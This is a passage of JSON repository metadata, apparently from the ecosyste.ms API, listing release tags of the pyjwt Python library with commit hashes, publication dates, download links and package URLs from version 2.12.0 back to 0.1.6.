/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/